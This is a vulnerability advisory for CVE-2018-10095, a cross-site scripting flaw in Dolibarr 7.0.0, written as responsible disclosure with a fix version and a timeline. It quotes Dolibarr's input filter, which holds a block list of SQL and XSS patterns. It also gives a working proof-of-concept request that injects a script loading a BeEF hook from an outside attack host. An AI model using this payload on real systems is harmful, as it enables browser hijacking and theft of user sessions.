• Vous êtes victime d’une cyberattaque ?
  • Contactez notre centre d’urgence cyber :
  • +33 (0)1 83 07 00 06

[CVE-2018-10095] Dolibarr XSS Injection vulnerability

We found a Cross-site scripting (XSS) vulnerability in Dolibarr, which is an "Open Source ERP & CRM for Business" used by many companies worldwide.


Dolibarr is an « Open Source ERP & CRM for Business » used by many companies worldwide.

It is available through GitHub or as distribution packages (e.g .deb package).


The application does not handle user input properly, allowing client-side JavaScript code injection (XSS).


User input should be filtered to avoid arbitrary HTML injection.

Vulnerability type

CVE ID: CVE-2018-10095

Access Vector: remote

Security Risk: high

Vulnerability: CWE-79

CVSS Base Score: 7.4

CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N


Checks are enforced on user input via the test_sql_and_script_inject() function, which forbids some SQL keywords (e.g union, create, insert) and some XSS-related strings (onfocus, for instance).


 * Security: SQL Injection and XSS Injection (scripts) protection (Filters on GET, POST, PHP_SELF).
 * @param       string      $val        Value
 * @param       string      $type       1=GET, 0=POST, 2=PHP_SELF
 * @return      int                     >0 if there is an injection
function test_sql_and_script_inject($val, $type)
    $inj = 0;
    // For SQL Injection (only GET are used to be included into bad escaped SQL requests)
    if ($type == 1)
        $inj += preg_match('/updatexml\(/i',     $val);
        $inj += preg_match('/delete\s+from/i',   $val);
        $inj += preg_match('/create\s+table/i',  $val);
        $inj += preg_match('/insert\s+into/i',   $val);
        $inj += preg_match('/select\s+from/i',   $val);
        $inj += preg_match('/into\s+(outfile|dumpfile)/i',  $val);
    if ($type != 2) // Not common, we can check on POST
        $inj += preg_match('/update.+set.+=/i',  $val);
        $inj += preg_match('/union.+select/i',   $val);
        $inj += preg_match('/(\.\.%2f)+/i',      $val);
    // For XSS Injection done by adding javascript with script
    // This is all cases a browser consider text is javascript:
    // When it found '<script', 'javascript:', '<style', 'onload\s=' on body tag, '="&' on a tag size with old browsers
    // All examples on page: http://ha.ckers.org/xss.html#XSScalc
    // More on https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
    $inj += preg_match('/<script/i', $val);
    $inj += preg_match('/<iframe/i', $val);
    $inj += preg_match('/Set\.constructor/i', $val);    // ECMA script 6
    if (! defined('NOSTYLECHECK')) $inj += preg_match('/<style/i', $val);
    $inj += preg_match('/base[\s]+href/si', $val);
    $inj += preg_match('/<.*onmouse/si', $val);       // onmousexxx can be set on img or any html tag like <img title='...' onmouseover=alert(1)>
    $inj += preg_match('/onerror\s*=/i', $val);       // onerror can be set on img or any html tag like <img title='...' onerror = alert(1)>
    $inj += preg_match('/onfocus\s*=/i', $val);       // onfocus can be set on input text html tag like <input type='text' value='...' onfocus = alert(1)>
    $inj += preg_match('/onload\s*=/i', $val);        // onload can be set on svg tag <svg/onload=alert(1)> or other tag like body <body onload=alert(1)>
    $inj += preg_match('/onclick\s*=/i', $val);       // onclick can be set on img text html tag like <img onclick = alert(1)>
    $inj += preg_match('/onscroll\s*=/i', $val);      // onscroll can be on textarea
    //$inj += preg_match('/on[A-Z][a-z]+\*=/', $val);   // To lock event handlers onAbort(), ...
    $inj += preg_match('/:|&#0000058|&#x3A/i', $val);       // refused string ':' encoded (no reason to have it encoded) to lock 'javascript:...'
    //if ($type == 1)
        $inj += preg_match('/javascript:/i', $val);
        $inj += preg_match('/vbscript:/i', $val);
    // For XSS Injection done by adding javascript closing html tags like with onmousemove, etc... (closing a src or href tag with not cleaned param)
    if ($type == 1) $inj += preg_match('/"/i', $val);       // We refused " in GET parameters value
    if ($type == 2) $inj += preg_match('/[;"]/', $val);     // PHP_SELF is a file system path. It can contains spaces.
    return $inj;

Proof of Concept : injecting a Beef agent into the victim’s browser

Exploit link


HTTP Request

GET /dolibarr/adherents/cartes/carte.php?&mode=cardlogin&foruserlogin=%22%3e%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%73%3a%2f%2f%61%74%74%61%63%6b%2e%6c%61%62%2f%62%65%65%66%2f%68%6f%6f%6b%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e&model=5160&optioncss=print HTTP/1.1
Host: dolibarr.lab:2080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://dolibarr.lab:2080/dolibarr/adherents/cartes/carte.php
Cookie: DOLSESSID_cac4a1e49e4040e845340fe919bd202b=8833dl7see43ifl6l9667huvt5


t><br>Login: <input size="10" type="text" name="foruserlogin" value=""><script src="https://attack.lab/beef/hook.js"></script>"><br><input class="button" type="submit" value="Build Doc"></form><br><img src="/dolibar

Affected versions

  • Version 7.0.0 (last stable version as of March 2018) – previous versions are probably also vulnerable but not tested


Update to 7.0.2 (changelog)

Timeline (dd/mm/yyyy)

  • 18/03/2018 : Initial discovery
  • 17/04/2018 : Contact with the editor
  • 17/04/2018 : Editor acknowledges the vulnerability
  • 18/04/2018 : Editor announces fixes in version 7.0.2
  • 21/05/2018 : Vulnerability disclosure


  • Issam RABHI (i dot rabhi at sysdream.com)
  • Kevin LOCATI (k dot locati at sysdream dot com)